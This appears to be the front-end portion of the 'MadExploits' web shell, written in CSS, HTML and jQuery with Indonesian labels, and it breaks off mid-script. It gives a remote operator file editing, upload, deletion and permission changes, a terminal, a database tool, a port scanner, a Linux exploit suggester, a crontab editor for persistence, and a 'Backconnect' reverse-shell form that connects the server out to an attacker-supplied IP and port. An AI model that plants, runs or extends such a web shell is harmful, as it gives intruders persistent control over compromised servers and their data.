            color: var(--gh-dark-bg);
        }

        .page-item.disabled .page-link {
            background-color: var(--gh-dark-component-bg);
            border-color: var(--gh-dark-border);
            color: #666;
        }

        .table {
            --bs-table-bg: var(--gh-dark-component-bg);
            --bs-table-color: var(--gh-dark-text);
            --bs-table-border-color: var(--gh-dark-border);
            --bs-table-hover-bg: #1f242c;
            --bs-table-hover-color: var(--gh-dark-text);
        }

        .table thead th {
            font-weight: 600;
            color: var(--gh-dark-text-secondary);
            border-bottom-width: 1px;
        }

        .table td,
        .table th {
            vertical-align: middle;
        }

        .file-icon {
            color: var(--gh-dark-text-secondary);
            margin-right: 10px;
            width: 20px;
            text-align: center;
        }

        .folder-icon {
            color: var(--gh-blue-icon);
        }

        .file-name a {
            color: var(--gh-dark-text);
            text-decoration: none;
            font-weight: 600;
        }

        .file-name a:hover {
            color: var(--gh-orange-accent);
            text-decoration: none;
        }

        .action-dropdown .dropdown-toggle::after {
            display: none;
        }

        .action-dropdown .btn {
            background: none;
            border: none;
            color: var(--gh-dark-text-secondary);
        }

        .action-dropdown .btn:hover,
        .action-dropdown .btn:focus {
            background-color: rgba(139, 148, 158, 0.2);
            color: var(--gh-dark-text);
        }

        .dropdown-menu {
            --bs-dropdown-bg: #161b22;
            --bs-dropdown-border-color: var(--gh-dark-border);
            --bs-dropdown-link-color: var(--gh-dark-text);
            --bs-dropdown-link-hover-bg: rgba(139, 148, 158, 0.1);
            --bs-dropdown-link-hover-color: var(--gh-orange-accent);
        }

        .btn-primary {
            --bs-btn-bg: var(--gh-orange-accent);
            --bs-btn-border-color: var(--gh-orange-accent);
            --bs-btn-hover-bg: var(--gh-orange-accent-hover);
            --bs-btn-hover-border-color: var(--gh-orange-accent-hover);
            --bs-btn-color: #0d1117;
            --bs-btn-hover-color: #0d1117;
        }

        .btn-info {
            --bs-btn-bg: var(--gh-blue-icon);
            --bs-btn-border-color: var(--gh-blue-icon);
            --bs-btn-hover-bg: #78baff;
            --bs-btn-hover-border-color: #78baff;
            --bs-btn-color: #0d1117;
            --bs-btn-hover-color: #0d1117;
        }

        .modal-content {
            background-color: var(--gh-dark-component-bg);
            border-color: var(--gh-dark-border);
        }

        .modal-header,
        .modal-footer {
            border-bottom-color: var(--gh-dark-border);
            border-top-color: var(--gh-dark-border);
        }

        .form-control,
        .form-select {
            background-color: var(--gh-dark-bg);
            color: var(--gh-dark-text);
            border-color: var(--gh-dark-border);
        }

        .form-control:focus,
        .form-select:focus {
            background-color: var(--gh-dark-bg);
            color: var(--gh-dark-text);
            border-color: var(--gh-orange-accent);
            box-shadow: 0 0 0 0.25rem rgba(247, 129, 102, 0.25);
        }

        #editor {
            width: 100%;
            height: 60vh;
            border-radius: 6px;
        }

        .server-info-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            flex-wrap: wrap;
            gap: 1rem;
            padding: 1rem 1.5rem;
            background-color: var(--gh-dark-component-bg);
            border: 1px solid var(--gh-dark-border);
            border-radius: 6px;
            margin-bottom: 1rem;
        }

        .fm-logo {
            font-size: 1.5rem;
            font-weight: 300;
            font-family: "Caveat", cursive;
            color: var(--gh-dark-text);
            text-decoration: none;
        }

        .fm-logo i {
            color: var(--gh-orange-accent);
        }

        .fm-logo strong {
            font-weight: 700;
        }

        .server-stats {
            list-style: none;
            padding: 0;
            margin: 0;
            display: flex;
            gap: 1.5rem;
            flex-wrap: wrap;
        }

        .server-stats li {
            font-size: 0.9rem;
            color: var(--gh-dark-text-secondary);
        }

        .server-stats .badge {
            font-size: 0.85rem;
            font-weight: 600;
            padding: 0.4em 0.7em;
        }

        .fm-logo-wrapper {
            display: flex;
            align-items: center;
            gap: 1rem;
        }

        .refresh-btn {
            color: var(--gh-dark-text-secondary);
            font-size: 1.2rem;
            text-decoration: none;
            transition: transform 0.5s ease;
        }

        .refresh-btn:hover {
            color: var(--gh-orange-accent);
            transform: rotate(180deg);
        }

        .disk-usage {
            display: flex;
            align-items: center;
            gap: 0.5rem;
        }

        .progress {
            --bs-progress-bg: #010409;
            --bs-progress-bar-color: var(--gh-dark-bg);
            --bs-progress-font-size: 0.75rem;
            border: 1px solid var(--gh-dark-border);
            width: 120px;
        }

        .terminal-container {
            background-color: var(--gh-dark-component-bg);
            border: 1px solid var(--gh-dark-border);
            border-radius: 6px;
            padding: 1rem;
            display: flex;
            flex-direction: column;
        }

        .terminal-container h5 {
            border-bottom: 1px solid var(--gh-dark-border);
            padding-bottom: 0.75rem;
            margin-bottom: 1rem;
            font-weight: 600;
        }

        #terminal {
            height: 100%;
            width: 100%;
        }

        .fab-container {
            position: fixed;
            bottom: 30px;
            right: 30px;
            z-index: 1050;
            display: flex;
            flex-direction: column-reverse;
            align-items: center;
        }

        .fab-main-button {
            width: 60px;
            height: 60px;
            background-color: transparent;
            border: none;
            border-radius: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            color: var(--gh-orange-accent);
            font-size: 24px;
            cursor: grab;
            box-shadow: none;
            transition: all 0.3s ease;
        }

        .fab-main-button:hover {
            background-color: rgba(247, 129, 102, 0.1);
        }

        .fab-main-button:active {
            cursor: grabbing;
        }

        .fab-main-button .fas {
            transition: transform 0.4s cubic-bezier(0.25, 0.46, 0.45, 0.94);
        }

        .fab-container.active .fab-main-button .fas {
            transform: rotate(135deg);
        }

        .fab-menu {
            display: flex;
            flex-direction: column;
            align-items: center;
            margin-bottom: 15px;
            pointer-events: none;
        }

        .fab-container.active .fab-menu {
            pointer-events: auto;
        }

        .fab-item {
            width: 48px;
            height: 48px;
            background-color: transparent;
            border: none;
            border-radius: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            color: var(--gh-dark-text-secondary);
            font-size: 20px;
            cursor: pointer;
            margin-bottom: 10px;
            box-shadow: none;
            transition: all 0.3s cubic-bezier(0.25, 0.46, 0.45, 0.94);
            position: relative;
            opacity: 0;
            transform: translateY(20px);
        }

        .fab-container.active .fab-item {
            opacity: 1;
            transform: translateY(0);
        }

        .fab-container.active .fab-item:nth-child(1) {
            transition-delay: 0.1s;
        }

        .fab-container.active .fab-item:nth-child(2) {
            transition-delay: 0.2s;
        }

        .fab-container.active .fab-item:nth-child(3) {
            transition-delay: 0.3s;
        }

        .fab-item:hover {
            background-color: rgba(139, 148, 158, 0.1);
            color: var(--gh-orange-accent);
        }

        .fab-item::after {
            content: attr(data-tooltip);
            position: absolute;
            right: 100%;
            margin-right: 15px;
            background-color: #161b22;
            color: #c9d1d9;
            padding: 4px 8px;
            border-radius: 4px;
            font-size: 14px;
            white-space: nowrap;
            opacity: 0;
            visibility: hidden;
            transition: opacity 0.3s, visibility 0.3s;
        }

        .fab-item:hover::after {
            opacity: 1;
            visibility: visible;
        }

        .copyright {
            text-align: center;
            font-size: 14px;
            color: #777;
            padding: 15px 0;
            border-top: 1px solid var(--gh-dark-border);
            margin-top: 20px;
        }

        .copyright a {
            color: var(--gh-dark-text-secondary);
            text-decoration: none;
            font-weight: 500;
        }

        .copyright a:hover {
            color: var(--gh-orange-accent);
            text-decoration: underline;
        }

        #bulkActions {
            border: 1px dashed var(--gh-dark-border);
            background: rgba(139, 148, 158, 0.08);
        }

        #contextMenu {
            position: absolute;
            display: none;
            z-index: 2000;
            min-width: 220px;
            border-radius: 6px;
            overflow: hidden;
        }

        .row-context-active td {
            background-color: rgba(88, 166, 255, 0.08) !important;
        }

        /* SweetAlert2 Dark Theme Customization */
        .swal2-popup {
            background-color: var(--gh-dark-component-bg) !important;
            color: var(--gh-dark-text) !important;
            border: 1px solid var(--gh-dark-border) !important;
        }

        .swal2-title {
            color: var(--gh-dark-text) !important;
        }

        .swal2-html-container {
            color: var(--gh-dark-text-secondary) !important;
        }

        .swal2-confirm,
        .swal2-confirm:focus {
            background-color: var(--gh-orange-accent) !important;
            color: #0d1117 !important;
            box-shadow: none !important;
        }

        .swal2-confirm.btn-info {
            background-color: var(--gh-blue-icon) !important;
        }

        .swal2-cancel,
        .swal2-cancel:focus {
            background-color: #21262d !important;
            box-shadow: none !important;
        }

        .swal2-loader {
            border-color: var(--gh-orange-accent) transparent var(--gh-orange-accent) transparent !important;
        }

        .right-sidebar-wrapper {
            display: flex;
            flex-direction: column;
            gap: 1rem;
            min-height: 0;
            /* Mencegah overflow pada child flexbox */
        }

        .terminal-container {
            flex-grow: 1;
            min-height: 0;
        }

        .tools-container {
            background-color: var(--gh-dark-component-bg);
            border: 1px solid var(--gh-dark-border);
            border-radius: 6px;
            padding: 1rem;
            flex-shrink: 0;
        }

        .tools-container h5 {
            border-bottom: 1px solid var(--gh-dark-border);
            padding-bottom: 0.75rem;
            margin-bottom: 1rem;
            font-weight: 600;
        }

        .tools-body {
            display: flex;
            flex-wrap: wrap;
            gap: 0.5rem;
        }

        .tools-body .btn {
            color: var(--gh-dark-text-secondary);
        }

        .tools-body .btn:hover {
            color: var(--gh-orange-accent);
            border-color: var(--gh-orange-accent);
            background-color: rgba(247, 129, 102, 0.1);
        }

        .tool-output {
            background-color: var(--gh-dark-bg);
            border: 1px solid var(--gh-dark-border);
            padding: 1rem;
            border-radius: 5px;
            max-height: 400px;
            overflow-y: auto;
            white-space: pre-wrap;
            word-wrap: break-word;
            font-family: 'Courier New', Courier, monospace;
            font-size: 0.9em;
        }

        .tool-output dt {
            color: var(--gh-orange-accent);
            font-weight: bold;
        }

        .tool-output dd {
            margin-left: 1rem;
            margin-bottom: 0.5rem;
            color: var(--gh-dark-text);
            white-space: pre-wrap;
        }

        .btn-mad {
            background-color: #1f242c;
            border-bottom: 1px solid #30363d;
        }
    </style>
</head>

<body>
    <input type="file" id="fileUploadInput" multiple style="display: none;" />

    <div class="container-fluid mt-3">
        <header class="server-info-header">
            <div class="fm-logo-wrapper">
                <a href="#" class="fm-logo">
                    <strong>~> MadExploits</strong>
                </a>
                <a href="#" id="refreshBtn" class="refresh-btn" title="Refresh Stats"><i class="fas fa-sync-alt"></i></a>
            </div>
            <ul class="server-stats mb-0">
                <li>
                    <div id="disk-usage" class="disk-usage" title="Loading...">
                        <span><i class="fa-solid fa-hard-drive"></i></span>
                        <div class="progress" role="progressbar">
                            <div id="disk-progress-bar" class="progress-bar" style="width: 0%"></div>
                        </div>
                    </div>
                </li>
                <li><span id="stat-user" class="badge bg-info text-dark">...</span></li>
                <li><span id="stat-php" class="badge" style="background-color: #7A86B8; color: #fff;">...</span></li>
                <li><span id="stat-server" class="badge bg-dark">...</span></li>
            </ul>
        </header>

        <div class="main-layout">
            <div class="file-manager-container">
                <div class="fm-header">
                    <nav aria-label="breadcrumb">
                        <ol class="breadcrumb">
                        </ol>
                    </nav>
                    <div>
                        <button class="btn btn-sm btn-secondary" id="goToRootBtn"><i class="fas fa-home me-1"></i> Ke Root</button>
                        <button class="btn btn-sm btn-secondary" id="createDirBtn"><i class="fas fa-folder-plus me-1"></i> Buat Direktori</button>
                        <button class="btn btn-sm btn-primary" id="createFileBtn"><i class="fas fa-file-medical me-1"></i> Buat File</button>
                    </div>
                </div>

                <div id="bulkActions" class="alert alert-dark d-none mt-2 mx-3">
                    <span id="selectedCount">0</span> item dipilih
                    <div class="float-end">
                        <button class="btn btn-sm btn-danger" id="bulkDelete"><i class="fas fa-trash me-1"></i> Hapus</button>
                        <button class="btn btn-sm btn-primary" id="bulkDownload"><i class="fas fa-download me-1"></i> Download</button>
                        <button class="btn btn-sm btn-secondary" id="bulkChmod"><i class="fas fa-key me-1"></i> Permissions</button>
                    </div>
                </div>

                <div class="table-responsive">
                    <table id="fileManagerTable" class="table table-hover" style="width:100%">
                        <thead>
                            <tr>
                                <th style="width: 30px;"><input type="checkbox" id="selectAll" /></th>
                                <th style="width: 40px;" class="no-sort"><i class="fas fa-grip-horizontal"></i></th>
                                <th>Nama</th>
                                <th>Ukuran</th>
                                <th>Terakhir Diubah</th>
                                <th class="text-end no-sort">Aksi</th>
                            </tr>
                        </thead>
                        <tbody>
                        </tbody>
                    </table>
                </div>
            </div>

            <div class="right-sidebar-wrapper">
                <div class="terminal-container">
                    <h5><i class="fas fa-terminal me-2"></i>Terminal</h5>
                    <div id="terminal"></div>
                </div>

                <div class="tools-container">
                    <h5><i class="fas fa-toolbox me-2"></i>Tools</h5>
                    <div class="tools-body">
                        <a href="?action=adminer" target="_blank" class="btn btn-mad">
                            <i class="fas fa-database me-1"></i> ADMINER
                        </a>
                        <button class="btn btn-mad" id="portScanBtn">
                            <i class="fas fa-search-location me-1"></i> PORT SCAN
                        </button>
                        <button class="btn btn-mad" id="linuxExploitBtn">
                            <i class="fa-brands fa-linux"></i> LINUX EXPLOIT
                        </button>
                        <button class="btn btn-mad" id="backconnectBtn">
                            <i class="fa-solid fa-network-wired"></i> BACKCONNECT
                        </button>
                        <button class="btn btn-mad" id="cronManagerBtn">
                            <i class="fa-solid fa-server"></i> CRON MANAGER
                        </button>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <div class="modal fade" id="cronManagerModal" tabindex="-1" aria-hidden="true">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">Cron Job Manager</h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div class="modal-body">
                    <div class="mb-3">
                        <label for="cronJobsTextarea" class="form-label">Current Crontab</label>
                        <textarea class="form-control" id="cronJobsTextarea" rows="10" style="font-family: monospace;"></textarea>
                        <small class="form-text text-muted">Edit the jobs below. Each line represents one job. Removing all lines will clear the crontab.</small>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
                    <button type="button" class="btn btn-primary" id="saveCronBtn">Save Crontab</button>
                </div>
            </div>
        </div>
    </div>



    <div class="modal fade" id="formModal" tabindex="-1" aria-labelledby="formModalLabel" aria-hidden="true">
        <div class="modal-dialog">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title" id="formModalLabel">Ganti Nama</h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div class="modal-body">
                    <form id="itemForm">
                        <input type="hidden" id="actionType" />
                        <input type="hidden" id="originalName" />
                        <div class="mb-3">
                            <label for="itemName" class="form-label" id="itemNameLabel">Nama Baru</label>
                            <input type="text" class="form-control" id="itemName" required />
                        </div>
                    </form>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Batal</button>
                    <button type="button" class="btn btn-primary" id="saveBtn">Simpan</button>
                </div>
            </div>
        </div>
    </div>

    <div class="modal fade" id="chmodModal" tabindex="-1" aria-hidden="true">
        <div class="modal-dialog">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">Ubah Permissions</h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div class="modal-body">
                    <p>Mengubah izin untuk: <strong id="chmodItemName"></strong></p>
                    <form id="chmodForm">
                        <div class="mb-3">
                            <label for="chmodValue" class="form-label">Nilai Oktal (e.g., 0755)</label>
                            <input type="text" class="form-control" id="chmodValue" required />
                        </div>
                    </form>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Batal</button>
                    <button type="button" class="btn btn-primary" id="saveChmodBtn">Simpan Izin</button>
                </div>
            </div>
        </div>
    </div>

    <div class="modal fade" id="bulkChmodModal" tabindex="-1" aria-hidden="true">
        <div class="modal-dialog">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">Ubah Permissions Massal</h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div class="modal-body">
                    <p>Mengubah izin untuk <strong id="bulkChmodCount"></strong> item yang dipilih.</p>
                    <div class="mb-3">
                        <label for="bulkChmodValue" class="form-label">Nilai Oktal Baru (e.g., 0755)</label>
                        <input type="text" class="form-control" id="bulkChmodValue" required placeholder="0755" />
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Batal</button>
                    <button type="button" class="btn btn-primary" id="saveBulkChmodBtn">Terapkan ke Semua</button>
                </div>
            </div>
        </div>
    </div>
    <div class="modal fade" id="editorModal" tabindex="-1" aria-hidden="true">
        <div class="modal-dialog modal-xl">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title" id="editorModalLabel">Edit File</h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div class="modal-body p-0">
                    <div id="editor"></div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Tutup</button>
                    <button type="button" class="btn btn-primary" id="saveEditorBtn">Simpan Perubahan</button>
                </div>
            </div>
        </div>
    </div>

    <div class="fab-container">
        <div class="fab-main-button">
            <i class="fas fa-tools"></i>
        </div>
        <div class="fab-menu">
            <div class="fab-item" data-tooltip="Create File" id="fabCreateFile">
                <i class="fas fa-file-alt"></i>
            </div>
            <div class="fab-item" data-tooltip="Create Directory" id="fabCreateDir">
                <i class="fas fa-folder"></i>
            </div>
            <div class="fab-item" data-tooltip="Upload File" id="fabUploadFile">
                <i class="fas fa-upload"></i>
            </div>
        </div>
    </div>

    <ul id="contextMenu" class="dropdown-menu">
        <li><a class="dropdown-item ctx-edit" href="#"><i class="fas fa-edit me-2"></i>Edit</a></li>
        <li><a class="dropdown-item ctx-rename" href="#"><i class="fas fa-i-cursor me-2"></i>Ganti Nama</a></li>
        <li><a class="dropdown-item ctx-download" href="#"><i class="fas fa-download me-2"></i>Download</a></li>
        <li>
            <hr class="dropdown-divider" />
        </li>
        <li><a class="dropdown-item ctx-delete" href="#"><i class="fas fa-trash me-2"></i>Hapus</a></li>
    </ul>

    <div class="copyright">
        <span>&copy; Copyright
            <a href="https://github.com/MadExploits" target="_blank" rel="noopener noreferrer">
                github.com/MadExploits
            </a>
        </span>
    </div>

    <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"></script>
    <script src="https://cdn.datatables.net/1.13.7/js/jquery.dataTables.min.js"></script>
    <script src="https://cdn.datatables.net/1.13.7/js/dataTables.bootstrap5.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.32.6/ace.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/xterm@5.3.0/lib/xterm.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/xterm-addon-fit@0.8.0/lib/xterm-addon-fit.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>

    <script>
        $(document).ready(function() {
            const API_URL = ''; // Current file

            // --- SweetAlert Helper Functions ---
            function showSuccess(message) {
                Swal.fire({
                    icon: 'success',
                    title: 'Success',
                    text: message,
                    timer: 2000,
                    showConfirmButton: false
                });
            }

            function showError(message) {
                Swal.fire({
                    icon: 'error',
                    title: 'Oops... An Error Occurred',
                    text: message
                });
            }

            function showLoading(title, text = 'Please wait...') {
                Swal.fire({
                    title: title,
                    text: text,
                    allowOutsideClick: false,
                    didOpen: () => {
                        Swal.showLoading();
                    }
                });
            }

            // --- API Call Helper ---
            function apiCall(action, data = {}, method = 'POST') {
                const options = {
                    url: API_URL,
                    type: method,
                    dataType: 'json',
                    data: {
                        action: action,
                        ...data
                    }
                };

                if (method.toUpperCase() === 'POST' && !(data instanceof FormData)) {
                    options.data = JSON.stringify(data);
                    options.contentType = 'application/json; charset=utf-8';
                    options.url = `?action=${action}`;
                }

                return $.ajax(options);
            }


            const dt = $('#fileManagerTable').DataTable({
                columnDefs: [{
                    orderable: false,
                    targets: [0, 1, 5]
                }],
                order: [],
                language: {
                    search: 'Search:',
                    lengthMenu: 'Show _MENU_ entries',
                    info: 'Showing _START_ to _END_ of _TOTAL_ entries',
                    infoEmpty: 'Showing 0 of 0 entries',
                    infoFiltered: '(filtered from _MAX_ total entries)',
                    zeroRecords: 'No matching records found',
                    paginate: {
                        first: 'First',
                        last: 'Last',
                        next: 'Next',
                        previous: 'Previous'
                    }
                }
            });

            function loadFiles() {
                $.ajax({
                    url: API_URL,
                    type: 'GET',
                    dataType: 'json',
                    data: {
                        action: 'list'
                    },
                    success: function(response) {
                        if (response.success) {
                            updateTable(response.files);
                            updateBreadcrumbs(response);
                        } else {
                            showError(response.message);
                        }
                    },
                    error: function() {
                        showError('Failed to load files. Check console (F12) for details.');
                    }
                }).always(function() {
                    $('#bulkActions').addClass('d-none');
                    $('#selectAll').prop('checked', false);
                });
            }

            function changeDirectory(targetPath) {
                $.ajax({
                    url: API_URL,
                    type: 'POST',
                    dataType: 'json',
                    data: {
                        action: 'chdir',
                        target_path: targetPath
                    },
                    success: function(response) {
                        if (response.success) {
                            updateTable(response.files);
                            updateBreadcrumbs(response);
                        } else {
                            showError('Failed to change directory: ' + response.message);
                        }
                    },
                    error: function() {
                        showError('Failed to change directory. Check console (F12) for details.');
                    }
                });
            }

            function updateTable(files) {
                dt.clear();
                files.forEach(file => {
                    const icon = file.type === 'folder' ?
                        '<i class="fas fa-folder file-icon folder-icon"></i>' :
                        '<i class="fas fa-file-alt file-icon"></i>';

                    const nameLink = file.type === 'folder' ?
                        `<a href="#" class="text-light folder-link" style="text-decoration:none;">${file.name}</a>` :
                        `<a href="#" class="text-light file-link" style="text-decoration:none;">${file.name}</a>`;

                    const actions = `
                        <div class="dropdown action-dropdown">
                            <button class="btn btn-sm dropdown-toggle" type="button" data-bs-toggle="dropdown" aria-expanded="false">
                                <i class="fas fa-ellipsis-h"></i>
                            </button>
                            <ul class="dropdown-menu dropdown-menu-end">
                                ${file.type === 'file' ? `<li><a class="dropdown-item edit-btn" href="#"><i class="fas fa-edit me-2"></i>Edit</a></li>` : ''}
                                <li><a class="dropdown-item rename-btn" href="#"><i class="fas fa-i-cursor me-2"></i>Rename</a></li>
                                <li><a class="dropdown-item chmod-btn" href="#" data-current-perms="${file.permissions}"><i class="fas fa-key me-2"></i>Permissions</a></li>
                                ${file.type === 'file' ? `<li><a class="dropdown-item download-btn" href="#"><i class="fas fa-download me-2"></i>Download</a></li>` : ''}
                                <li><hr class="dropdown-divider" /></li>
                                <li><a class="dropdown-item delete-btn" href="#"><i class="fas fa-trash-alt me-2"></i>Delete</a></li>
                            </ul>
                        </div>`;

                    const rowNode = dt.row.add([
                        '<input type="checkbox" class="file-checkbox" />',
                        icon,
                        nameLink,
                        file.size,
                        file.last_modified,
                        actions
                    ]).draw(false).node();

                    $(rowNode).addClass('file-row').attr({
                        'data-name': file.name,
                        'data-type': file.type
                    });
                });
            }

            function updateBreadcrumbs(data) {
                const breadcrumbContainer = $('.breadcrumb');
                breadcrumbContainer.empty();

                if (data.drives && data.drives.length > 0) {
                    const drivesContainer = $('<div class="drives-list mb-2"></div>');
                    data.drives.forEach(drive => {
                        const driveLink = $(`<a href="#" class="text-light breadcrumb-link me-3" data-path="${drive.path}" style="text-decoration: none;">${drive.name}</a>`);
                        drivesContainer.append(driveLink);
                    });
                    breadcrumbContainer.append(drivesContainer);
                }

                const breadcrumbPathContainer = $('<ol class="breadcrumb-list p-0 m-0" style="list-style:none; display:flex; flex-wrap: wrap;"></ol>');
                data.breadcrumbs.forEach((crumb, index) => {
                    let crumbItem;
                    if (index === data.breadcrumbs.length - 1) {
                        crumbItem = $(`<li class="breadcrumb-item active" aria-current="page">${crumb.name}</li>`);
                    } else {
                        crumbItem = $(`<li class="breadcrumb-item"><a href="#" class="breadcrumb-link" data-path="${crumb.path}">${crumb.name}</a></li>`);
                    }
                    breadcrumbPathContainer.append(crumbItem);
                });
                breadcrumbContainer.append(breadcrumbPathContainer);
            }

            function handleApiResponse(response) {
                if (response.success) {
                    showSuccess(response.message || 'Operation completed successfully.');
                    loadFiles();
                } else {
                    showError(response.message || 'An unknown error occurred.');
                }
            }

            // --- TOOLS LOGIC ---

            // Port Scanner
            $('#portScanBtn').on('click', async function() {
                const {
                    value: formValues
                } = await Swal.fire({
                    title: 'Port Scanner',
                    html: `
                        <input id="swal-host" class="swal2-input" placeholder="Host (e.g., 127.0.0.1)" value="127.0.0.1">
                        <input id="swal-ports" class="swal2-input" placeholder="Ports (e.g., 80,443,8000-8080)" value="21,22,25,80,443,3306,5432">
                    `,
                    focusConfirm: false,
                    preConfirm: () => {
                        return {
                            host: document.getElementById('swal-host').value,
                            ports: document.getElementById('swal-ports').value
                        }
                    }
                });

                if (formValues && formValues.host) {
                    showLoading('Scanning Ports...', `Scanning ${formValues.host}`);
                    apiCall('port_scan', formValues)
                        .done(function(response) {
                            if (response.success) {
                                let resultHtml = `
                                    <p>Scan complete for <strong>${response.host}</strong>.</p>
                                    <p><strong>Open Ports:</strong></p>
                                `;
                                if (response.open_ports.length > 0) {
                                    resultHtml += `<div class="tool-output">${response.open_ports.join(', ')}</div>`;
                                } else {
                                    resultHtml += `<div class="tool-output">No open ports found from the scanned list.</div>`;
                                }
                                Swal.fire({
                                    title: 'Scan Results',
                                    html: resultHtml,
                                    icon: 'info'
                                });
                            } else {
                                showError(response.message);
                            }
                        })
                        .fail(() => showError('Failed to perform port scan.'));
                }
            });

            // Linux Exploit Suggester
            $('#linuxExploitBtn').on('click', function() {
                showLoading('Gathering System Info...');
                apiCall('linux_exploit_suggester', {})
                    .done(function(response) {
                        if (response.success) {
                            let resultsHtml = '<dl class="text-start">';
                            for (const [key, value] of Object.entries(response.results)) {
                                resultsHtml += `<dt>${key}:</dt><dd>${value || 'N/A or permission denied'}</dd>`;
                            }
                            resultsHtml += '</dl>';
                            Swal.fire({
                                title: 'Linux System Information',
                                html: `<div class="tool-output">${resultsHtml}</div>`,
                                width: '800px'
                            });
                        } else {
                            showError(response.message);
                        }
                    })
                    .fail(() => showError('Failed to run exploit suggester.'));
            });

            // Backconnect
            $('#backconnectBtn').on('click', async function() {
                const {
                    value: formValues
                } = await Swal.fire({
                    title: 'Reverse Shell (Backconnect)',
                    html: `
                        <input id="swal-ip" class="swal2-input" placeholder="Your IP Address">
                        <input id="swal-port" class="swal2-input" placeholder="Your Listening Port">
                    `,
                    focusConfirm: false,
                    confirmButtonText: 'Connect',
                    preConfirm: () => {
                        return {
                            ip: document.getElementById('swal-ip').value,
                            port: document.getElementById('swal-port').value
                        }
                    }
                });

                if (formValues && formValues.ip && formValues.port) {
                    showLoading('Initiating Connection...', `Attempting to connect to ${formValues.ip}:${formValues.port}`);
                    apiCall('backconnect', formValues)
                        .done(response => {
                            if (response.success) {
                                Swal.fire({
                                    icon: 'success',
                                    title: 'Connection Initiated',
                                    text: response.message,
                                    timer: 5000
                                });
                            } else {
                                showError(response.message);
                            }
                        })
                        .fail((xhr, status, error) => {
                            if (status === 'timeout' || xhr.statusText === "timeout") {
                                showSuccess(`Backconnect initiated to ${formValues.ip}:${formValues.port}. The server is now connected to your listener.`);
                            } else {
                                showError('Failed to initiate backconnect. ' + (xhr.responseJSON ? xhr.responseJSON.message : 'Check console for details.'));
                            }
                        });
                }
            });

            // Cron Manager
            const cronModal = new bootstrap.Modal(document.getElementById('cronManagerModal'));
            $('#cronManagerBtn').on('click', function() {
                apiCall('cron_manager', {
                        sub_action: 'list'
                    })
                    .done(response => {
                        if (response.success) {
                            $('#cronJobsTextarea').val(response.cron_jobs);
                            cronModal.show();
                        } else {
                            showError(response.message);
                        }
                    })
                    .fail(() => showError('Could not retrieve crontab.'));
            });

            $('#saveCronBtn').on('click', function() {
                const jobs = $('#cronJobsTextarea').val();
                apiCall('cron_manager', {
                        sub_action: 'save',
                        jobs: jobs
                    })
                    .done(response => {
                        if (response.success) {
                            showSuccess(response.message);
                            cronModal.hide();
                        } else {
                            showError(response.message);
                        }
                    })
                    .fail(() => showError('Failed to save crontab.'));
            });


            // --- INITIALIZE MODALS & EDITOR ---
            const formModal = new bootstrap.Modal(document.getElementById('formModal'));
            const chmodModal = new bootstrap.Modal(document.getElementById('chmodModal'));
            const editorModal = new bootstrap.Modal(document.getElementById('editorModal'));
            const bulkChmodModal = new bootstrap.Modal(document.getElementById('bulkChmodModal'));

            const editor = ace.edit('editor');
            editor.setTheme('ace/theme/tomorrow_night_eighties');
            editor.session.setMode('ace/mode/php');

            function updateHeaderStats() {
                $('#refreshBtn i').addClass('fa-spin');
                $.getJSON('?action=get_stats', function(data) {
                        $('#stat-user').text(data.user);
                        $('#stat-php').text(data.php_version);
                        $('#stat-server').text(data.server_software);

                        const disk = data.disk;
                        const diskProgressBar = $('#disk-progress-bar');
                        diskProgressBar.css('width', disk.percent + '%').text(disk.percent + '%');
                        $('#disk-usage').attr('title', `${disk.used}GB / ${disk.total}GB`);

                        diskProgressBar.removeClass('bg-success bg-warning bg-danger');
                        if (disk.percent >= 90) diskProgressBar.addClass('bg-danger');
                        else if (disk.percent >= 70) diskProgressBar.addClass('bg-warning');
                        else diskProgressBar.addClass('bg-success');
                    })
                    .fail(function() {
                        console.error('Could not fetch header stats.');
                        $('#stat-user').text('Error');
                    })
                    .always(function() {
                        setTimeout(() => $('#refreshBtn i').removeClass('fa-spin'), 500);
                    });
            }

            const tableBody = $('#fileManagerTable tbody');

            $('#refreshBtn').on('click', function(e) {
                e.preventDefault();
                loadFiles();
                updateHeaderStats();
            });
            $('#goToRootBtn').on('click', function(e) {
                e.preventDefault();
                changeDirectory('');
            });
            tableBody.on('click', '.folder-link', function(e) {
                e.preventDefault();
                const name = $(this).closest('.file-row').data('name');
                changeDirectory(name);
            });
            tableBody.on('click', '.file-link', function(e) {
                e.preventDefault();
                const name = $(this).closest('.file-row').data('name');
                editFile(name);
            });
            $('.breadcrumb').on('click', '.breadcrumb-link', function(e) {
                e.preventDefault();
                const path = $(this).data('path');
                changeDirectory(path);
            });
